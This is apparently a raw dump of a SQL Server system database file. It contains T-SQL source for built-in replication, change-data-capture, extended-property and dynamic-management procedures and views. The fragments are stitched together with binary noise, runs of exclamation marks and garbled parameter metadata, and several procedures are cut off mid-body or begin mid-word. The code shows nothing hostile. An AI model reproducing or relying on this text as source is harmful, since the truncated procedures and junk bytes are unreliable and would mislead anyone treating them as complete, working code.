    @dynamic_snapshot_location   nvarchar(260),
    @partition_id                int
)
as
begin
    set nocount on
    declare @retcode int
    declare @publisher_id int
    declare @publication_id int
    
    set @retcode = 0
    set @publisher_id = null
    set @publication_id = null

    set @dynamic_filter_login = coalesce(@dynamic_filter_login, N'')
    set @dynamic_filter_hostname = coalesce(@dynamic_filter_hostname, N'')

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member('db_owner') != 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSdrop_publication', 'distribution')
        return (1)
    end
    
    -- Check if publisher is a defined as a distribution publisher in the current database
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
    begin
        return(1)
    end

    -- Make sure publication exists
    select @publication_id = publication_id
        from dbo.MSpublications where publication = @publication and
        publisher_id = @publisher_id and publisher_db = @publisher_db
    if @publication_id is NULL
    begin
        -- We don't know whether or not it is a third party or not so we can not 
        -- return error.
        -- raiserror(20026, 16, -1, @publication)
        -- return (1)
        return (0)
    end
   
    if @dynamic_snapshot_location is null or rtrim(@dynamic_snapshot_location) = N''
        return (0)

    declare @publication_snapshot_folder nvarchar(260)


    if substring(@dynamic_snapshot_location, len(@dynamic_snapshot_location), 1) <> N'\'
    begin
        set @dynamic_snapshot_location = @dynamic_snapshot_location + N'\'
    end
	
    exec @retcode = sys.sp_MSreplremoveuncdir @dynamic_snapshot_location
    if @retcode <> 0 or @@error <> 0
   			return(1)    

    return (0)
end
0_ 	8
create function sys.fn_cdc_is_db_enabled()
returns bit
as
begin
	
	if exists
	(	select top 1 name from [sys].[databases] 
		where is_cdc_enabled = 1
		and name = db_name()
	) 
	begin
		return 1
	end

	return 0	
end
ength will be > then the
                **defined length
                */
                while (isnull(LEN(@Line),0) + @BlankSpaceAdded + @TextLength-@BasePos+1 ) > @DefinedLength
                begin
                    select @AddOnLen = @DefinedLength - (isnull(LEN(@Line),0) + @BlankSpaceAdded)
                    INSERT #CommentText VALUES
                    ( @LineId,
                      isnull(@Line, N'') + isnull(SUBSTRING(@SyscomText, @BasePos, @AddOnLen), N''))
                    select @Line = NULL, @LineId = @LineId + 1,
                        @BasePos = @BasePos + @AddOnLen, @BlankSpaceAdded = 0
                end
                select @Line = isnull(@Line, N'') + isnull(SUBSTRING(@SyscomText, @BasePos, @TextLength-@BasePos+1 ), N'')
                if LEN(@Line) < @DefinedLength and charindex(' ', @SyscomText, @TextLength+1 ) > 0
                begin
                    select @Line = @Line + ' ', @BlankSpaceAdded = 1
                end
            end
        end
    end

	FETCH NEXT from ms_crs_syscom into @SyscomText
end

IF @Line is NOT NULL
    INSERT #CommentText VALUES( @LineId, @Line )

select Text from #CommentText order by LineId

CLOSE  ms_crs_syscom
DEALLOCATE 	ms_crs_syscom

DROP TABLE 	#CommentText

return (0) -- sp_helptext
0uv '8create function sys.fn_trace_getinfo
	(@handle int = 0
	)
returns @tab table(traceid int NOT NULL,
	property int NOT NULL,
	value sql_variant)
as
begin
	insert @tab
	select * from OpenRowset(TABLE TRACEINFO, @handle)

	return
end -- fn_trace_getinfo
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`A<uthBn:0 8
create function sys.dm_os_volume_stats
	(
	@DatabaseId		INT ,
	@FileId				INT 
	)
returns table
as
	return select * from OpenRowset (TABLE DB_STORAGE_VOLUME_PROPS, @DatabaseId, @FileId)
0 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_nodes as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_nodes
0& 8create procedure sys.sp_MSreinit_article
(
	@publication				sysname,
	@article					sysname = N'%',
	@need_new_snapshot			bit = 0,
	@need_reinit_subscription	bit = 0,
	@force_invalidate_snapshot	bit = 0,
	@force_reinit_subscription	bit = 0,
	@check_only					bit = 0,
	@from_drop_publication		bit = 0,
	@publisher					sysname = NULL,
	@publisher_type				sysname = N'MSSQLSERVER'
	,@ignore_distributor_failure bit = 0
)
AS
BEGIN
    DECLARE @retcode				int,
			@active					tinyint,
			@subscribed				tinyint,
			@artid					int,
			@pubid					int,
			@none					tinyint,
			@immediate_sync_ready	bit,
			@allow_anonymous		bit,
			@loc_publisher			sysname

	-- Initialize constants
    SELECT	@active		= 2,
    		@subscribed	= 1,
    		@none		= 2,
    		@active		= 2

    --
    -- Verify publication exists
    --
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	IF (@pubid IS NULL)
	BEGIN
		RAISERROR (20026, 11, -1, @publication)
		RETURN (1)
	END

	-- Get pub info
	SELECT	@immediate_sync_ready	= immediate_sync_ready,
			@allow_anonymous		= allow_anonymous 
	FROM	syspublications
	WHERE	pubid = @pubid
		
	IF @publisher_type = N'MSSQLSERVER' AND @publisher IS NULL
	BEGIN
		-- Set publisher name
		SELECT	@loc_publisher = publishingservername()
	END
	ELSE
	BEGIN
		SELECT @loc_publisher = @publisher
	END
    
    IF @article = N'%'
    BEGIN
        SELECT	@artid = 0
	END
    ELSE
    BEGIN
    	SELECT	@artid = artid
    	FROM	sysarticles with (READPAST)
    	WHERE	name = @article
    	  AND	pubid = @pubid
	END

    begin tran 
    save tran sp_MSreinit_article

	-- If at publication level, we know that we should do it since 
	-- @immediate_sync_ready = 1
	-- If at article level, we only do it for the articles that have been
	-- processed by the snapshot agent, but not new articles.
	-- sp_addarticle calls this proc at publication level.
	-- It also make calls to sp_articlecolumn and sp_articleview which in turn
	-- call this sp. We don't want to do anything here with those calls.
    IF @need_new_snapshot = 1 AND @immediate_sync_ready = 1 AND
    (@artid = 0 OR EXISTS
		(
			SELECT	*
			FROM	syssubscriptions s,
					sysarticles a
			WHERE	s.artid	 = a.artid
			  AND	a.pubid	 = @pubid
			  AND	s.srvid	 < 0
			  AND	s.status = @active
			  AND	s.artid	 = @artid
		)
	)
	BEGIN
		-- Fail and raiserror error
		if @force_invalidate_snapshot = 0
		begin
			raiserror(20607, 16, -1)
			goto UNDO
		end

		IF @check_only = 0
		BEGIN
			UPDATE	syspublications
			SET		immediate_sync_ready = 0
			WHERE	pubid = @pubid
			  AND	immediate_sync_ready <> 0

			IF @@ERROR <> 0
			BEGIN
				GOTO UNDO
			END

			DECLARE	@distributor	sysname,
					@distribdb		sysname,
					@distproc		nvarchar (255),
					@dbname			sysname

			select @dbname = db_name()

			EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher	= @publisher,
																@rpcsrvname	= @distributor OUTPUT,
																@distribdb	= @distribdb OUTPUT
			IF (@retcode <> 0 OR @@ERROR <> 0) and @ignore_distributor_failure = 0
				goto  UNDO

			IF (@distribdb IS NULL OR @distributor IS NULL) and @ignore_distributor_failure = 0
			BEGIN
				RAISERROR (14071, 16, -1)
				goto  UNDO
			END
			
			
			IF (@distribdb IS not NULL and @distributor IS not NULL) 
			BEGIN
				-- Deactivate virtual (but not virtual anonymous) subscriptions at the distributor
				SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSinvalidate_snapshot'
				EXEC @retcode = @distproc 
								@publisher		= @loc_publisher, 
								@publisher_db	= @dbname, 
								@publication	= @publication

				IF @@ERROR <> 0 OR @retcode <> 0
				BEGIN
					GOTO  UNDO
				END
			END


			-- Raise a warning. Snapshot is invalidated. Need to run
			-- snapshot agent again... Only do so if the publication
			-- is not being dropped.
			IF @from_drop_publication = 0
				RAISERROR(20605, 10, -1)
		END
	END
    
    IF @need_reinit_subscription = 1
    BEGIN
        -- Reinitialize the subscriptions if there are any.
        -- No need to reinit no_sync subscriptions.
        -- The query below works for an article or whole publication (@artid == 0)
        -- Including virtual subscriptions to take care anonymous.
        IF EXISTS
        (
        	SELECT	*
        	FROM	syssubscriptions s
        	WHERE	s.status = @active
			-- Only include virtual subscription if allow anonymous
			  AND	(s.srvid >= 0 OR (@allow_anonymous = 1 AND @immediate_sync_ready = 1))
			  AND	s.sync_type <> @none
			  AND	(s.artid = @artid OR 
            			(@artid = 0 AND EXISTS 
							(
								SELECT	*
								FROM	syspublications p,
										sysarticles a
								WHERE	a.artid = s.artid
								  AND	a.pubid = p.pubid
								  AND	p.pubid = @pubid
							)
						)
					)
		)
        BEGIN
            -- Fail and raiserror error
            IF @force_reinit_subscription = 0
            BEGIN
                RAISERROR(20608, 16, -1)
                GOTO  UNDO
            END

            IF @check_only = 0 
            BEGIN
                EXEC @retcode = sys.sp_reinitsubscription	@publication		= @publication, 
															@article			= @article,
															@subscriber			= 'all',
															@for_schema_change	= 1,
															@publisher			= @publisher
															,@ignore_distributor_failure = @ignore_distributor_failure

                IF @@ERROR <> 0 OR @retcode <> 0
                BEGIN
                    GOTO UNDO
                END

                -- Raise a warning. Subscriptions is reintialized.
                RAISERROR(20606, 10, -1)
            END
        END
    END

    COMMIT TRAN sp_MSreinit_article
    
    RETURN 0
UNDO:
    IF @@TRANCOUNT > 0
    BEGIN
        ROLLBACK TRAN sp_MSreinit_article
        COMMIT TRAN 
    END
    RETURN 1
END

			if @@error > 0
				goto FAILURE
		end

			fetch #fkcursor into @colname, @typeid, @modified_date 
	end
	close #fkcursor
	deallocate #fkcursor

	if @debug_print = 1
		select 'stage' = 'sp_MSmergefixup_constraints_name:exit'
								,'comments' = 'un/fk/chk name filled'
								,* from #merge_altertable

	commit tran fixup_constraints_name
	return 0
FAILURE:
	close #fkcursor
	deallocate #fkcursor
	rollback tran fixup_constraints_name
	commit tran
	return 1

end

create procedure sys.sp_indexes_managed 
( 
	@Catalog			sysname = NULL,
	@Owner			sysname = NULL,
	@Table 			sysname = NULL,
	@Name			sysname = NULL
)
as 
	select
		constraint_catalog		= s_iv.constraint_catalog, 
		constraint_schema		= s_iv.constraint_schema, 
		constraint_name		= s_iv.constraint_name,
		table_catalog			= s_iv.table_catalog,
		table_schema			= s_iv.table_schema,
		table_name			= s_iv.table_name,
		index_name 			= s_iv.index_name,
		type_desc			= s_iv.type_desc
from
	sys.spt_indexes_view_managed s_iv
where
	(s_iv.TABLE_CATALOG = @Catalog or (@Catalog is null)) and 
	(s_iv.TABLE_SCHEMA = @Owner or (@Owner is null)) and 
	(s_iv.TABLE_NAME = @Table or (@Table is null)) and 
	(s_iv.INDEX_NAME = @Name or (@Name is null))
order by table_name, index_name 
]
 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_cache_hash_tables as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_cache_hash_tables
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!U
d
hD`|	<vN830VJ $8create procedure sys.sp_addextendedproperty
	@name sysname,
	@value sql_variant			= NULL,
	@level0type	varchar(128)	= NULL,
	@level0name	sysname			= NULL,
	@level1type	varchar(128)	= NULL,
	@level1name	sysname			= NULL,
	@level2type	varchar(128)	= NULL,
	@level2name	sysname			= NULL
as

	declare @ret int

	if datalength(@value) > 7500
	begin
		raiserror(15097,-1,-1)
		return 1
	end
	
	if @name is null
	begin
		raiserror(15600,-1,-1,'sp_addextendedproperty')
		return (1)
	end

	execute @ret = sys.sp_validname @name
	if (@ret <> 0)
	begin
		raiserror(15600,-1,-1,'sp_addextendedproperty')
		return (1)
	end
        

	BEGIN TRANSACTION
	
	begin
		EXEC %%ExtendedPropertySet().AddValue(Name = @name, Value = @value, Level0type = @level0type, Level0name = @level0name, Level1type = @level1type, Level1name = @level1name, Level2type = @level2type, Level2name = @level2name)
		IF @@error <> 0
		begin
			COMMIT TRANSACTION
			return (1)
		end
	end
	
	COMMIT TRANSACTION
	return (0)
0D 8CREATE FUNCTION sys.dm_io_virtual_file_stats
	(
	@DatabaseId Int = null,
	@FileId Int = null
	)
RETURNS TABLE
as
	RETURN SELECT *	FROM OpenRowset(TABLE VIRTUALFILESTATS, @DatabaseId, @FileId)
0k@ 8CREATE VIEW INFORMATION_SCHEMA.TABLE_CONSTRAINTS
AS
SELECT
	DB_NAME()			AS CONSTRAINT_CATALOG,
	SCHEMA_NAME(c.schema_id)	AS CONSTRAINT_SCHEMA,
	c.name				AS CONSTRAINT_NAME,
	DB_NAME()			AS TABLE_CATALOG,
	SCHEMA_NAME(t.schema_id)	AS TABLE_SCHEMA,
	t.name				AS TABLE_NAME,
	CASE c.type
		WHEN 'C ' THEN	'CHECK'
		WHEN 'UQ' THEN	'UNIQUE'
		WHEN 'PK' THEN	'PRIMARY KEY'
		WHEN 'F ' THEN	'FOREIGN KEY'
	  END				AS CONSTRAINT_TYPE,
	'NO'				AS IS_DEFERRABLE,
	'NO'				AS INITIALLY_DEFERRED
FROM
	sys.objects c LEFT JOIN sys.tables t
	ON t.object_id	= c.parent_object_id
WHERE
	c.type IN ('C' ,'UQ' ,'PK' ,'F')
0[F@ 8create procedure sys.sp_MSreleasemergeadminapplock
    @lockowner nvarchar(32) = N'Session'
as
begin
    set nocount on

    declare @retcode smallint
    declare @lock_resource nvarchar(255)
    declare @publisher sysname
    declare @publisher_db sysname
    declare @DbPrincipal sysname 

    select @publisher = publishingservername() 
    select @publisher_db = DB_NAME(DB_ID()) 

    /* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@error<>0
        return 1
        
    select @retcode = 0
    
    -- use the dbowner role
    select @DbPrincipal = N'db_owner'
    select @lock_resource = N'MSinternal_repl_merge_admin_' + convert(nvarchar(6), db_id()) 

    exec @retcode = sp_releaseapplock @Resource = @lock_resource, @LockOwner = @lockowner, @DbPrincipal = @DbPrincipal
    if @@error<>0 or @retcode<0
        return 1
    else
        return 0
end
ken nvarchar(260),
    @dynsnapseqno uniqueidentifier 
    )
as
begin
    set nocount on
    declare @retcode int
    declare @dynsnapseqnoprefix nvarchar(100)    
    declare @pubidprefix nvarchar(100)
    declare @snapshot_progress_token nvarchar(500)    
    declare @transaction_opened bit
    declare @previous_dynsnapseqno uniqueidentifier
    declare @snapshot_progress_token_hash int
    declare @pubid uniqueidentifier

    -- Initializations
    select @retcode = 0
    select @dynsnapseqnoprefix = N'<DynSnapSeqNo>:'    
    select @pubidprefix = N'<MergePubId>:'    
    select @transaction_opened = 0
    
    select @previous_dynsnapseqno = null

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    
    if object_id('dbo.MSsnapshotdeliveryprogress', 'U') is not null
    begin

        -- Try to get the previous dynamic snapshot sequence number
        select @previous_dynsnapseqno = 
                    convert(uniqueidentifier, right(progress_token, len(progress_token) - len(@dynsnapseqnoprefix)))
          from dbo.MSsnapshotdeliveryprogress   
         where session_token = @snapshot_session_token
           and left(progress_token, len(@dynsnapseqnoprefix)) = @dynsnapseqnoprefix
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

        -- If the dynamic snapshot sequence number is different, cleanup
        -- everything for the new dynamic snapshot
        if @previous_dynsnapseqno is not null and
           @previous_dynsnapseqno <> @dynsnapseqno
        begin    
            begin transaction
            save transaction sp_MSregisterdynsnapseqno
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
            select @transaction_opened = 1
                                
            -- Try to get the pubid for this snapshot
            select @pubid =
                    convert(uniqueidentifier, right(progress_token, len(progress_token) - len(@pubidprefix)))
              from dbo.MSsnapshotdeliveryprogress
             where session_token = @snapshot_session_token
               and left(progress_token, len(@pubidprefix)) = @pubidprefix

            -- Do cleanup
            exec @retcode = sys.sp_MSpurgepartialmergesnapshot
                    @pubid = @pubid
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

            -- Register both the pubid and the dynsnapseqno again because
            -- both registrations would have been removed by the cleanup above
            select @snapshot_progress_token = @pubidprefix + convert(nvarchar(100), @pubid)
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

            exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                    @snapshot_session_token = @snapshot_session_token,
                    @snapshot_progress_token = @snapshot_progress_token
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

            select @snapshot_progress_token = @dynsnapseqnoprefix + convert(nvarchar(100), @dynsnapseqno)
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

            exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                    @snapshot_session_token = @snapshot_session_token,
                    @snapshot_progress_token = @snapshot_progress_token
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

            commit transaction        
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
            select @transaction_opened = 0
        end
        else if @previous_dynsnapseqno is null
        begin
            select @snapshot_progress_token = @dynsnapseqnoprefix + convert(nvarchar(100), @dynsnapseqno)
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

            exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                    @snapshot_session_token = @snapshot_session_token,
                    @snapshot_progress_token = @snapshot_progress_token
            if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
        end
    end    
    else
    begin
        select @snapshot_progress_token = @dynsnapseqnoprefix + convert(nvarchar(100), @dynsnapseqno)
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end

        exec @retcode = sys.sp_MSrecordsnapshotdeliveryprogress
                @snapshot_session_token = @snapshot_session_token,
                @snapshot_progress_token = @snapshot_progress_token
        if @@error<>0 or @retcode<>0 begin select @retcode=1 goto Failure end
    end

Failure:
    if @transaction_opened = 1
    begin
        rollback transaction sp_MSregisterdynsnapseqno
        commit transaction
    end

    return @retcode
end
0 D8'fhZ)!!!!!!!!l{l`<Rw1L:Kr0 D8}h[s$H0' '8create procedure sys.sp_updateextendedproperty
	@name sysname,
	@value sql_variant			= NULL,
	@level0type	varchar(128)	= NULL,
	@level0name	sysname			= NULL,
	@level1type	varchar(128)	= NULL,
	@level1name	sysname			= NULL,
	@level2type	varchar(128)	= NULL,
	@level2name	sysname			= NULL
as

	declare @ret int

	if datalength(@value) > 7500
	begin
		raiserror(15097,-1,-1)
		return 1
	end

	if @name is null
	begin
		raiserror(15600,-1,-1,'sp_updateextendedproperty')
		return (1)
	end

	execute @ret = sys.sp_validname @name
	if (@ret <> 0)
	begin
		raiserror(15600,-1,-1,'sp_updateextendedproperty')
		return (1)
	end
	
	BEGIN TRANSACTION

	begin
		EXEC %%ExtendedPropertySet().UpdateValue(Name = @name, Value = @value, Level0type = @level0type, Level0name = @level0name, Level1type = @level1type, Level1name = @level1name, Level2type = @level2type, Level2name = @level2name) 
		IF @@ERROR <> 0
		begin
			COMMIT TRANSACTION
			return (1)
		end
	end
		
	COMMIT TRANSACTION
	return (0)
0"@ 8CREATE VIEW sys.dm_os_memory_broker_clerks AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_MEMORY_BROKER_CLERKS)
0d 8 
-- add it
create view sys.dm_pdw_nodes_exec_query_memory_grants as
select *, convert(int, null) pdw_node_id from sys.dm_exec_query_memory_grants
0~ {8
create procedure sys.sp_linkedservers_rowset2
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        SVR_NAME            = s_s.name,
        SVR_PRODUCT         = s_s.product,
        SVR_PROVIDERNAME    = s_s.provider,
        SVR_DATASOURCE      = s_s.data_source,
        SVR_PROVIDERSTRING  = s_s.provider_string,
        SVR_LOCATION        = s_s.location,
        SVR_CATALOG         = s_s.catalog
    from
        sys.servers s_s
    where
        -- Don't use s_s.is_linked, because 0 there means old-style linked server, 1 means new-style.
        s_s.is_data_access_enabled = 1
    order by 1
0CB 8create procedure sys.sp_MSscript_params (
    @objid   int,
    @artid int,
    @postfix nvarchar(8) = NULL,
    @bOutParams tinyint = 0, -- boolean indicating wether or not to declare timestamp/identity params as output params
    @outvars nvarchar(4000) = NULL output
    ,@agent_id	int = NULL  	-- null @agent_id means this is executed at pub side, 
    										-- pub queries sysarticlecolumns for article column partition, 
    										-- sub uses MSsubscription_articlecolumns
    )
as
BEGIN
    set nocount on
    declare @cmd          nvarchar(4000)
            ,@colname      sysname
            ,@typestring   nvarchar(4000)
            ,@spacer       nvarchar(1)
            ,@spacer2      nvarchar(1)
            ,@this_col     int
            ,@art_col      int
            ,@isset        int
            ,@ispkcol      int

    select @spacer = N' '
            ,@spacer2 = N' '
            ,@art_col = 1
            ,@outvars = null
            ,@cmd = N'    '

    DECLARE #hccolid CURSOR LOCAL FAST_FORWARD FOR 
    select column_id from sys.columns where object_id = @objid order by column_id asc

    OPEN #hccolid
    FETCH #hccolid INTO @this_col
    WHILE (@@fetch_status <> -1)
    begin

        if @artid is not null
            exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, 1, @agent_id
        else
            select @isset = 1

        exec @ispkcol = sys.sp_MSiscolpk @objid, @this_col

        if @isset != 0 and EXISTS (select name from sys.columns where object_id=@objid and column_id=@this_col and (is_computed<>1 or @ispkcol<>0)) 
        begin
            exec sys.sp_MSget_type @objid, @this_col, @colname output, @typestring OUTPUT
            if (@typestring IS NOT NULL)
            begin
                --
                -- for xml type - we will use nvarchar(max)
                --
                if (@typestring = 'xml')
                    select @typestring = 'nvarchar(max)'
                if @postfix is null
                    select @cmd = @cmd + @spacer + N'@c' + convert(varchar(4), @this_col) + N' ' + @typestring 
                else
                    -- old vars
                    select @cmd = @cmd + @spacer + N'@c' + convert(varchar(4), @this_col) + @postfix + N' ' + @typestring

                -- new vars of type timestamp and identity are declared as output params
                if @bOutParams = 1 and (@typestring = N'timestamp' or ColumnProperty(@objid, @colname, 'IsIdentity') = 1)
                begin
                    select @cmd = @cmd + N' output'
                    select @outvars = isnull(@outvars, N'') + @spacer2 + N'@c' + convert(varchar(4), @this_col) + N' = ' + quotename(@colname) 
                    select @spacer2 = N','
                end
                
                select @spacer = N','
            end
            select @art_col = @art_col + 1

            -- flush command if necessary
            exec sys.sp_MSflush_command @cmd output, 1, 4
       end
       FETCH #hccolid INTO @this_col
    end
    CLOSE #hccolid
    DEALLOCATE #hccolid
    --
    -- all done
    --
    return 0
END
0r@ 8
create procedure sys.sp_MSunc_to_drive (
        @unc_path nvarchar(255), 
        @local_server sysname, 
        @local_path nvarchar(255) output
        )
    AS

    SET NOCOUNT ON

    declare @pattern nvarchar(150)

    select @pattern = N'\\' + upper(@local_server) + N'\'

    if    charindex(@pattern, upper(substring(@unc_path, 1, len(@pattern)))) <> 0 
        and charindex(N'$\', substring(@unc_path, len(@pattern)+2, 2))<>0
        select @local_path = substring(@unc_path, len(@pattern) + 1, 1) + N':' +
            substring(@unc_path, len(@pattern) + 3, len(@unc_path) - len(@pattern) -1)
    else
        select @local_path = @unc_path
0 8create procedure [sys].[sp_cdc_restoredb_internal]
(
    @srv_orig sysname,
    @db_orig sysname,
    @keep_cdc int
)
with execute as 'dbo'
as
begin
    set nocount on

    declare @retcode int
            ,@db_curr sysname
            ,@force_remove_cdc int

    select @force_remove_cdc = 0 
    select @db_curr = db_name()
    
    -- Verify SQL Server edition
    -- CDC is restricted to Eval, Enterprise and Developer editions
    -- For all other SKUs, we want this restore to fail. To insure this
    -- we ignore @KEEP_CDC flag and always retain CDC meta data here
    -- to make the meta data visible to the engine framework which will
    -- then force the error.
    IF (sys.fn_MSrepl_editionid () not in (30,31))
    BEGIN
        return 0
    END
    
    --
    -- Upgrade the CDC metadata first, this insures that we have the proper version to remove
    --
    exec @retcode = sys.sp_cdc_vupgrade
    if @retcode <> 0 or @@error <> 0
    begin
        return 1
    end

    --
    -- If the original server name or database name are different (and the keep_cdc restore flag is not set)
    --   we'll want to remove CDC
    --
    if (( UPPER(@srv_orig) <> UPPER(@@SERVERNAME) ) or ( @db_orig <> @db_curr )) and @keep_cdc = 0
    begin
        select @force_remove_cdc = 1
    end

    if @force_remove_cdc = 1
        and CONVERT(sysname,DATABASEPROPERTYEX(@db_curr,'updateability'))  = N'READ_WRITE'
			AND HAS_DBACCESS(@db_curr) = 1
			AND EXISTS(select * from sys.databases where db_id(@db_curr) = database_id and is_cdc_enabled = 1)
    begin
        exec @retcode = sys.sp_cdc_disable_db_internal
        if @retcode <> 0 or @@error <> 0
            return 1
    end

    return 0
end
.`8-BB)^x	0-_ _memory_object_address0-_ Qparent_address0-_ Qpages_in_bytes0-_ 88
Ucreation_options0-_ Ibytes_used0-_ x4x=type0-_ 4=name0-_ 44Qmemory_node_id0-_ 	==Ocreation_time0-_ 
88
Ypage_size_in_bytes0-_ Ymax_pages_in_bytes0-_ apage_allocator_address0-_ 
acreation_stack_address0-_ 88
Msequence_num0--'G@loginame0--'K@name_in_db0-ʈd$$Egroup_id0-ʈd4=name0-ʈdP4PKresource_id0-$O@table_server0-$Q@table_catalog0-$K@table_name0-$O@table_schema0-$M@column_name0-M88
Gobject_id0-M88
Gschema_id0-MOTABLE_CATALOG0-MMTABLE_SCHEMA0-MITABLE_NAME0-MKCOLUMN_NAME0-M$$KCOLUMN_GUID0-M88
OCOLUMN_PROPID0-M	88
CORDINAL0-M
CPK_NAME0-aW@qual_object_name0-a88
A@objid0-a_@pass_through_scripts0-4JI@publisher0-4JO@publisher_db0-4JM@publication0-4J88
Y@subscription_type0-4J88
W@last_sync_status0-4JY@last_sync_summary-L=hh0-L=E@db_name0-h[GE@tran_id0-h[GC@row_id0-h[GS@conflict_table0-h[GhhQ@is_subscriber0-h[GhhG@is_debug0-}~NI@publisher0-}~NM@publisherdb0-}~NM@publication0-}~N88
I@batchsize0-ieH
s@qualified_logbased_object_name0-4H[@original_publisher0-4HO@publisher_db0-4H_@redirected_publisher0-AhhW@logreader_exists0-AhhY@skip_remote_check0-=G@viewname0-=I@ownername0-=G@procname0-=A@rgcol0-=$$A@pubid0-=$$A@artidisher_db0-4JM@publication0-4J88
Y@subscription_type0-4J88
W@last_sync_status0-4JY@last_sync_summary0-(88
A@objid0-(88
I@threshold0-(A@range0-(I@next_seed0-a88
A@objid0-a88
K@tran_artid0-a88
W@tran_pub_options0-aW@qual_dest_object0-ae@qual_p2p_conflict_table0-a88
]@checkpartition_mask0-a88
S@checkadds_mask0-a88
[@subtype_dropcolumn0-a	88
c@subtype_dropconstraint0-a
88
a@subtype_enabletrigger0-a88
c@subtype_disabletrigger0-a88
g@subtype_enableconstraint0-a
88
i@subtype_disableconstraint0-a88
Q@subtype_addfk0-a88
]@subtype_altercolumn0-ahh[@drop_defaults_only0-aK@dest_owner0-ahhM@debug_print-L=hh0-L=E@db_name0-h[GE@tran_id0-h[GC@row_id0-h[GS@conflict_table0-h[GhhQ@is_subscriber0-h[GhhG@is_debug0-}~NI@publishertW
v
%
u0Q*|l6

Ol[

	~	3	N*
z-f%>
kT

!s$9,ry<a`z-8d)0y40-12A@start0-12=@end0-1E@devtype0-188
C@seqnum0-1C@fname10-1C@fname20-1C@fname30-1C@fname40-1	C@fname50-1
C@fname60-1C@fname70-1C@fname80-1
C@fname90-1E@fname100-1E@fname110-1E@fname120-1E@fname130-1E@fname140-1E@fname150-1E@fname160-1E@fname170-1E@fname180-1E@fname190-1E@fname200-1E@fname210-1E@fname220-1E@fname230-1E@fname240-1E@fname250-1E@fname260-1E@fname270-1 E@fname280-1!E@fname290-1"E@fname300-1#E@fname310-1$E@fname320-1%E@fname330-1&E@fname340-1'E@fname350-1(E@fname360-1)E@fname370-1*E@fname380-1+E@fname390-1,E@fname400-1-E@fname410-1.E@fname420-1/E@fname430-10E@fname440-11E@fname450-12E@fname460-13E@fname470-14E@fname480-15E@fname490-16E@fname500-17E@fname510-18E@fname520-19E@fname530-1:E@fname540-1;E@fname550-1<E@fname560-1=E@fname570-1>E@fname580-1?E@fname590-1@E@fname600-1AE@fname610-1BE@fname620-1CE@fname630-1DE@fname640-ȑI@dbms_name0-ȑO@dbms_version0-ȑG@sql_type0-ȑ88
M@source_prec0-vI@publisher0-vhhC@silent0-?@name0-hhM@show_distdb0-hhY@exclude_anonymous0-=I@publisher0-=O@publisher_db0-=M@publication0-=@E@genlist0-=I@commongen0-=88
G@subissql0-=88
S@articlesoption0-=88
Q@tablenickname0-=	hh[@handle_null_tables0-=
@O@nicknamelist0-=C@mingen0-=C@maxgen0-=
@M@skipgenlist0-=M@belongsname0-=S@notbelongsname0-=88
M@compatlevel0-=hha@enumentirerowmetadata0-E@K@guidstring0-E
S@qualified_name0-EK@rowguidcol0-E88
I@tablenick0-EhhQ@inserttrigger0-#$$S@publication_idI@publisher0-=O@publisher_db0-=M@publication0-=@E@genlist0-=I@commongen0-=88
G@subissql0-=88
S@articlesoption0-=88
